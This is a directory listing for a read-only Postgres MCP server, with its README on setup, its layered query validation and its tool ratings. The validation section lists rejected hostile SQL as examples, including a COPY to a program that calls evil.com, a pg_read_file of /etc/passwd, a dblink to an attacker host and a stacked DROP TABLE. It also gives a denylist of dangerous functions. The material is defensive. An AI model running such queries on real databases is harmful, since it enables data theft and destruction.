Skip to main content
Glama
MadlyFriese

pg-readonly-mcp

by MadlyFriese

mcp-server-db

An MCP server that lets Claude (or any MCP client) explore a Postgres database in plain English — and only read it.

Ask "which customers spent the most last quarter?" and get an answer. Ask it to delete something and four independent layers say no.

You:    What are our top 5 customers by total spend?
Claude: [list_tables] [describe_table payment] [run_query ...]
        KARL SEAL — $221.55 across 45 payments
        ELEANOR HUNT — $216.54 across 46 payments
        ...

Built with FastMCP · Python 3.12 · psycopg 3 · sqlglot


Quick start

Requirements: Python 3.12+, a Postgres database, and uv.

git clone https://github.com/<you>/mcp-server-db.git
cd mcp-server-db
uv sync

1. Create the read-only role

The server is designed to connect as a role that cannot write, so a bug on this side can never damage your data. Run this once, as a superuser, against the database you want to expose:

psql -v DBNAME=mydb -f sql/bootstrap_role.sql mydb

Open sql/bootstrap_role.sql first — change the password, and if you want to expose schemas other than public, repeat the GRANT USAGE / GRANT SELECT block for each one. The script ends with a sanity query that must return zero rows; if it returns anything, the role has privileges it should not have.

2. Point the server at it

export MCP_DB_DSN='postgresql://mcp_ro:your-password@localhost:5432/mydb'
uv run mcp-server-db

It speaks MCP over stdio, so it will sit there silently waiting — that is correct. Ctrl-C to quit. Real use goes through a client, below.


Related MCP server: MCP PostgreSQL Server

Hooking it up

Claude Code

claude mcp add postgres-readonly \
  --env MCP_DB_DSN='postgresql://mcp_ro:your-password@localhost:5432/mydb' \
  -- uv run --directory /absolute/path/to/mcp-server-db mcp-server-db

Then claude and ask away. /mcp shows whether it connected.

Claude Desktop

Edit claude_desktop_config.json:

  • macOS~/Library/Application Support/Claude/claude_desktop_config.json

  • Windows%APPDATA%\Claude\claude_desktop_config.json

  • Linux~/.config/Claude/claude_desktop_config.json

{
  "mcpServers": {
    "postgres-readonly": {
      "command": "uv",
      "args": [
        "run",
        "--directory",
        "/absolute/path/to/mcp-server-db",
        "mcp-server-db"
      ],
      "env": {
        "MCP_DB_DSN": "postgresql://mcp_ro:your-password@localhost:5432/mydb"
      }
    }
  }
}

Restart Claude Desktop completely. The tools appear under the 🔌 icon.

Use absolute paths — the client does not launch from this directory. If uv is not on your PATH as the client sees it, use its full path (which uv).

Any other MCP client

Anything that can launch a stdio MCP server works. The command is uv run --directory <repo> mcp-server-db, with MCP_DB_DSN in the environment.


Things to ask it

Once connected, you talk to your database in English. Claude picks the tools.

Finding your way around

  • "What's in this database?"

  • "Show me the tables in the public schema, biggest first."

  • "What columns does the orders table have, and what's it linked to?"

  • "Show me a few rows from customers so I can see the shape of the data."

Actual questions

  • "Which 10 customers spent the most, and how many orders each?"

  • "How many signups per month this year?"

  • "Which products have never been ordered?"

  • "What's the average time between a customer's first and second order?"

  • "Show me active and archived orders together, most recent first."

  • "Are there any orders whose customer_id doesn't exist in customers?"

Understanding the schema

  • "Draw me the relationships between these tables."

  • "Which columns are nullable but probably shouldn't be?"

  • "Is there an index on the column we filter by most?"

Things it will refuse — worth trying once to see the layers work

  • "Delete the test customers."

  • "Add an index on orders.created_at."

  • "Read /etc/passwd."

It will explain that it only has read access, rather than failing obscurely.


Tools

Tool

Returns

list_schemas()

["public", "analytics"] — only schemas the role can actually reach

list_tables(schema)

name, row_estimate, comment, kind (table / view / materialized_view / partitioned_table / foreign_table)

describe_table(schema, table)

column_names + column_rows (name, type, nullable, default, comment), primary_key, foreign_keys, indexes, comment

sample_table(schema, table, n=10)

first n rows; n clamped to 1–50

run_query(sql, max_rows=100)

bounded read-only result; max_rows clamped to 1–1000

row_estimate is the planner's reltuples statistic — instant, but approximate, and stale until someone runs ANALYZE. It is null for plain views. Ask for count(*) when you need the exact number.

Introspection uses fixed, parameterised catalog queries; identifiers are quoted with psycopg.sql.Identifier and never interpolated into SQL strings.


The four safety layers

Each is independent. Getting past one still lands on the next.

#

Layer

Where

1

AST validation. Parsed with sqlglot; every node in the tree is checked against a denylist of DML/DDL classes plus a function allowlist. No regexes. The SQL sent to Postgres is regenerated from the validated AST with comments stripped.

guard.py

2

Read-only transactions. Every statement runs inside a Postgres READ ONLY transaction — set as a session default on each pooled connection and again per transaction. Plus statement_timeout and idle_in_transaction_session_timeout.

db.py

3

A SELECT-only role. The DSN points at a role holding USAGE + SELECT and nothing else, with default_transaction_read_only = on baked in at role level.

bootstrap_role.sql

4

Bounded results. Queries are wrapped as SELECT * FROM (<your sql>) sub LIMIT :cap, built as an AST rather than string concatenation. Plus a response byte cap.

guard.py, encode.py

Why validation is recursive, not positional

Safety is never decided by asking "what is at the root of this query?". That question gets the classic case wrong:

WITH x AS (DELETE FROM users RETURNING *) SELECT * FROM x

A SELECT sits at the root, so from the top it looks innocent. Instead, every node is visited with expression.walk() and checked. The walk starts at the root node, so a top-level INSERT is caught by exactly the same check as one buried in a CTE — there is no separate case for it.

Once contents rather than shape decide the answer, branch structure stops mattering. UNION, INTERSECT, EXCEPT, subqueries, CTEs, and correlated subqueries in a WHERE clause are all just nodes on the walk, and all are allowed — they are pure read-only relational algebra, and "show me active and archived orders together" is a perfectly reasonable question.

A root-type allowlist (Select, SetOperation, Subquery, Values) is kept as a secondary check so unrecognised statement types fail closed. It is not what makes a query safe.

Function allowlist, not denylist

sqlglot gives standard SQL functions their own typed classes (Sum, Lower, TimestampTrunc, …), which are safe by construction. Anything it does not recognise arrives as exp.Anonymous, and those are checked against an allowlist of ~300 known read-only Postgres functions.

Unknown means rejected — so a dangerous function added in some future Postgres release fails closed, instead of walking through a denylist nobody remembered to update. A denylist of known offenders (pg_read_file, dblink, lo_import, query_to_xml, pg_sleep, …) is applied on top, covering the case where sqlglot later gives one of them a typed class.

Using your own functions? Add their names to ALLOWED_FUNCTIONS in guard.py. If a legitimate query is rejected with "not on the allowlist", that is the fix.

What gets rejected

SELECT 1; DROP TABLE users                       → only a single statement is allowed
WITH x AS (DELETE FROM t RETURNING *) SELECT ... → DELETE is not allowed
SELECT * INTO stolen FROM users                  → SELECT ... INTO is not allowed
COPY t TO PROGRAM 'curl evil.com'                → COPY is not allowed
SELECT pg_read_file('/etc/passwd')               → function not allowed
SELECT * FROM dblink('host=evil', '...')         → function not allowed
SELECT * FROM t FOR UPDATE                       → row locking is not allowed

And with layer 1 bypassed entirely, Postgres itself still answers cannot execute INSERT in a read-only transaction.

UNION vs UNION ALL

Plain UNION deduplicates, which means a sort or hash over the full result of both branches before a single row is returned — the outer LIMIT cannot short-circuit it. On large tables that is the likeliest way to hit the statement_timeout. run_query's tool description tells the model to prefer UNION ALL when duplicates do not need removing.


Output shape

One dict per row repeats every key on every row. Results are columnar instead:

{
  "columns": ["id", "name"],
  "rows": [[1, "a"], [2, "b"]],
  "row_count": 2,
  "truncated": false
}

On 100 real rows × 4 columns that is 3,226 bytes against 7,230 for the dict-per-row shape — a 55% saving.

truncated: true means rows were dropped by the row cap or the byte cap; ask a narrower question or raise max_rows.

Known overhead. FastMCP pretty-prints the text content block with indent=2 and sends a second compact copy as structuredContent, so the same 100-row result costs ~11.2 KB on the wire rather than 3.2 KB. That is the SDK's tool-result serialisation, not this server's encoding, and it applies to any FastMCP server. Returning a pre-serialised compact string from each tool avoids it, at the cost of dropping structuredContent for clients that use it.

Values are coerced to JSON: Decimal → int when integral else float, dates and timestamps → ISO 8601 strings, bytea → base64, uuid → string, json/jsonb → native objects. Treat very high-precision numeric as approximate.


Configuration

Variable

Default

Meaning

MCP_DB_DSN (or DATABASE_URL)

required

connection string for the SELECT-only role

MCP_DB_STATEMENT_TIMEOUT_MS

5000

per-statement timeout

MCP_DB_MAX_BYTES

65536

response byte cap (hard max 524288)

MCP_DB_POOL_MIN / MCP_DB_POOL_MAX

1 / 4

connection pool sizing

MCP_DB_CONNECT_TIMEOUT_S

10

connection timeout

Row caps are fixed in code, not configurable by the client: run_query defaults to 100 rows and is hard-capped at 1000; sample_table is hard-capped at 50.


Troubleshooting

"No database DSN configured"MCP_DB_DSN did not reach the process. In Claude Desktop it must be inside the server's env block, not your shell.

Server does not appear in the client — check the paths are absolute and that uv resolves. Test the exact command from your config in a terminal first; if it hangs silently with no error, that is success.

"relation does not exist, or the connected role has no SELECT privilege" — usually the latter. Re-run the GRANT SELECT block for that schema; tables created after the bootstrap need ALTER DEFAULT PRIVILEGES (see the script).

"Function … is not on the allowlist" — expected for custom or extension functions. Add the name to ALLOWED_FUNCTIONS in guard.py.

Queries time out — the default is 5s. Plain UNION on large tables is the usual cause; try UNION ALL. Raise MCP_DB_STATEMENT_TIMEOUT_MS if genuinely needed.

truncated: true — the byte cap hit before the row cap. Select fewer columns, or raise MCP_DB_MAX_BYTES.


Layout

src/mcp_server_db/
  server.py       FastMCP tool definitions
  guard.py        layer 1 (AST validation) + layer 4 (bounded rewrite)
  db.py           layer 2 (pooling, read-only transactions)
  introspect.py   catalog queries behind the introspection tools
  encode.py       columnar, byte-capped result encoding
  config.py       environment-driven settings
sql/
  bootstrap_role.sql   layer 3 (the SELECT-only role)

Available Tools

5 tools
describe_tableA

Describe a table: columns, types, nullability, primary key, FKs, indexes.

Columns come back flat as column_names (the field labels) and column_rows (one positional row per column), in ordinal position.

ParametersJSON Schema
NameRequiredDescriptionDefault
tableYes
schemaYes

Output Schema

ParametersJSON Schema
NameRequiredDescription

No output parameters

TDQS

A3.6/5.0
Behavior3/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

No annotations are provided, so the description carries the full burden. It discloses how columns are returned ('flat as `column_names` and `column_rows` in ordinal position'), which adds some behavioral context, but it lacks details about side effects (likely none) or potential errors.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness4/5

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is concise with two clear parts: what the tool describes and how the output is structured. There is no wasted language, though the output details could be more succinct.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness4/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

Given the tool has an output schema (not shown) and two simple string parameters, the description adequately covers the purpose. It mentions key output elements but does not fully detail how foreign keys or indexes appear, which is acceptable since the output schema presumably covers that.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters2/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

The input schema has 0% schema description coverage, and the description does not add meaning beyond the parameter names 'schema' and 'table'. While the names are self-explanatory, the description fails to provide any additional constraints, formats, or examples to compensate for the lack of schema descriptions.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly specifies the tool's function: 'Describe a table: columns, types, nullability, primary key, FKs, indexes.' This is a specific verb-resource pair that distinguishes it from siblings like list_schemas, list_tables, sample_table, and run_query.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines3/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description implies using the tool to get table schema details but does not explicitly state when to use it versus alternatives like sample_table or run_query. There is no guidance on prerequisites or when not to use this tool.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

list_schemasA

List schemas the connected read-only role can access.

ParametersJSON Schema
NameRequiredDescriptionDefault

No parameters

Output Schema

ParametersJSON Schema
NameRequiredDescription
resultYes

TDQS

A3.8/5.0
Behavior3/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

No annotations are provided, so the description carries full burden. It mentions 'read-only role' indicating safe operation, but lacks details on behavior like pagination or empty results. Basic transparency is present.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness5/5

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is a single sentence, front-loaded, with no unnecessary words. It is highly efficient.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness4/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

For a simple list tool with no parameters and an output schema, the description is sufficient. It covers the essential scope but omits details like sorting or limits, which are minor.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters4/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

There are zero parameters, so the description adds nothing beyond schema. Baseline for 0 params is 4.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states the tool lists schemas accessible by the connected read-only role, with a specific verb and resource. It is distinct from sibling tools like list_tables and describe_table.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines2/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description provides no guidance on when to use this tool versus alternatives, nor any preconditions or exclusions.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

list_tablesA

List tables and views in schema with an estimated row count and comment.

Returns columns=[name, row_estimate, comment, kind]. row_estimate comes from the planner statistics (pg_class.reltuples) and is approximate; it is null for views.

ParametersJSON Schema
NameRequiredDescriptionDefault
schemaYes

Output Schema

ParametersJSON Schema
NameRequiredDescription
rowsYes
columnsYes
row_countYes
truncatedYes

TDQS

A4.2/5.0
Behavior4/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

Discloses that row_estimate is approximate (from planner stats) and null for views, adding context beyond the no-annotation baseline. Could explicitly state read-only nature.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness5/5

Is the description appropriately sized, front-loaded, and free of redundancy?

Two sentences with clear front-loaded purpose, no wasted words.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness4/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

Complete for a simple listing tool with output schema; misses optional details like permissions or that it reflects current state.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters4/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Description links the 'schema' parameter to the operation context, compensating for the schema's lack of parameter description (0% coverage). But no additional details like format or examples.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

Clearly states it lists tables and views in a given schema with row estimates and comments. Distinguishes from siblings like describe_table and sample_table.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines3/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

Implied usage for quickly reviewing table sizes, but no explicit guidance on when to use vs alternatives or prerequisites.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

run_queryA

Run a single read-only SELECT and return a bounded, columnar result.

Accepts one statement of any read-only shape: SELECT, WITH ... SELECT, UNION / UNION ALL / INTERSECT / EXCEPT, and any nesting of those. Rejected before execution: multiple statements, DML/DDL anywhere in the tree (including data-modifying CTEs), SELECT ... INTO, COPY, row locking, and any function not on the read-only allowlist (pg_read_file, dblink, ...).

The query is wrapped in SELECT * FROM (<sql>) sub LIMIT max_rows, so the cap applies to the combined result of a set operation, not to one branch. max_rows defaults to 100 and is capped at 1000. The response is separately capped in bytes, in which case truncated is true.

Performance note: plain UNION deduplicates, which costs a sort or hash over the full result of both branches before any row is returned — the outer LIMIT cannot short-circuit it. On large tables that is the most likely way to hit the server's statement timeout. Prefer UNION ALL when you do not need duplicates removed.

ParametersJSON Schema
NameRequiredDescriptionDefault
sqlYes
max_rowsNo

Output Schema

ParametersJSON Schema
NameRequiredDescription
rowsYes
columnsYes
row_countYes
truncatedYes

TDQS

A4.2/5.0
Behavior5/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

The description thoroughly discloses behavioral traits: read-only constraint, accepted/rejected SQL constructs, the wrapping with LIMIT and max_rows default/cap, byte cap and truncation flag, and a performance note about UNION versus UNION ALL. With no annotations provided, the description fully compensates.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness4/5

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is well-structured and front-loaded with the main purpose. It is slightly long but every sentence adds value, including technical constraints and performance advice. It earns its length.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness5/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

Given the tool's complexity and the presence of an output schema, the description is very complete. It covers input constraints, behavior (wrapping, truncation), and performance considerations. No gaps are evident.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters4/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema description coverage is 0%, so the description compensates well. It explains that 'sql' accepts read-only SELECT statements of various shapes, and details 'max_rows' default (100) and cap (1000). This adds significant meaning beyond the bare schema.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description starts with 'Run a single read-only SELECT and return a bounded, columnar result,' which clearly states the tool's specific action and resource. It distinguishes from sibling tools (list_schemas, list_tables, etc.) which are metadata operations, making the purpose unambiguous.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines2/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description does not explicitly state when to use this tool versus alternatives. It mentions accepted/rejected statement types and a performance note, but lacks guidance on when to prefer run_query over sibling tools like sample_table for quick data previews or describe_table for schema info.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

sample_tableA

Return the first n rows of a table. n is clamped to 1..50.

ParametersJSON Schema
NameRequiredDescriptionDefault
nNo
tableYes
schemaYes

Output Schema

ParametersJSON Schema
NameRequiredDescription
rowsYes
columnsYes
row_countYes
truncatedYes

TDQS

A3.8/5.0
Behavior4/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

Discloses clamping of n to 1..50, a key behavioral trait. With no annotations, this adds value. Could mention ordering or randomness.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness5/5

Is the description appropriately sized, front-loaded, and free of redundancy?

Very concise, single sentence plus constraint detail. No wasted words.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness3/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

Adequate for a simple tool, given output schema exists. Lacks mention of error conditions or ordering guarantees.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters2/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema has 0% description coverage; description only clarifies n's clamping. Does not explain schema or table parameters beyond names.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

Clearly states it returns the first n rows of a table, with a specific verb and resource. Distinguishes from siblings like list_schemas or run_query.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines3/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

Implied usage for sampling table data, but no explicit when-to-use or comparison with siblings.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

Tool Schema Changelog

Recent tool additions, removals, and schema changes observed during successful MCP inspections. Dates show when Glama detected each change.

  1. 5 tool updatesv0.1.0
    • First observeddescribe_table
    • First observedlist_schemas
    • First observedlist_tables
    • First observedrun_query
    • First observedsample_table

TDQS

A4.2/5.0
Disambiguation5/5

Each tool targets a distinct operation: listing schemas vs. listing tables vs. describing a table vs. sampling rows vs. running arbitrary queries. No overlap exists.

Naming Consistency5/5

All five tools follow a consistent verb_noun pattern with underscores (e.g., list_schemas, describe_table), providing clear and predictable naming.

Tool Count5/5

Five tools is an ideal number for a read-only database interface—covering all essential operations without unnecessary complexity.

Completeness5/5

The toolset covers the full read-only workflow: schema discovery, table listing, table descriptions, data sampling, and arbitrary SELECT queries. No obvious gaps.

Maintenance

ActivitySlowing
ResponsivenessSyncing

Resources

Unclaimed servers have limited discoverability.

Looking for Admin?

If you are the server author, to access and configure the admin panel.

Related MCP Connectors

Related MCP Servers

  • -
    license
    Not graded
    quality
    Not graded
    maintenance
    Enables secure read-only interactions with PostgreSQL databases through natural language. Provides database inspection, table listing, and SQL query execution with built-in security validation.
    -
  • A
    license
    Not graded
    quality
    C
    maintenance
    Enables secure read-only access to PostgreSQL databases, allowing users to list tables, query schemas, execute SELECT statements, and inspect table structures through natural language interactions.
    751
    4
    MIT
  • A
    license
    A
    quality
    A
    maintenance
    Enables read-only interaction with PostgreSQL databases through natural language queries, supporting dynamic connections and secure query validation.
    3
    125
    2
    MIT
  • A
    license
    Not graded
    quality
    D
    maintenance
    Enables secure, read-only PostgreSQL database interaction through natural language, with automatic database discovery and connection management.
    2
    MIT

Latest Blog Posts

MCP directory API

We provide all the information about MCP servers via our MCP API.

curl -X GET 'https://glama.ai/api/mcp/v1/servers/MadlyFriese/pg-readonly-mcp'

If you have feedback or need assistance with the MCP directory API, please join our Discord server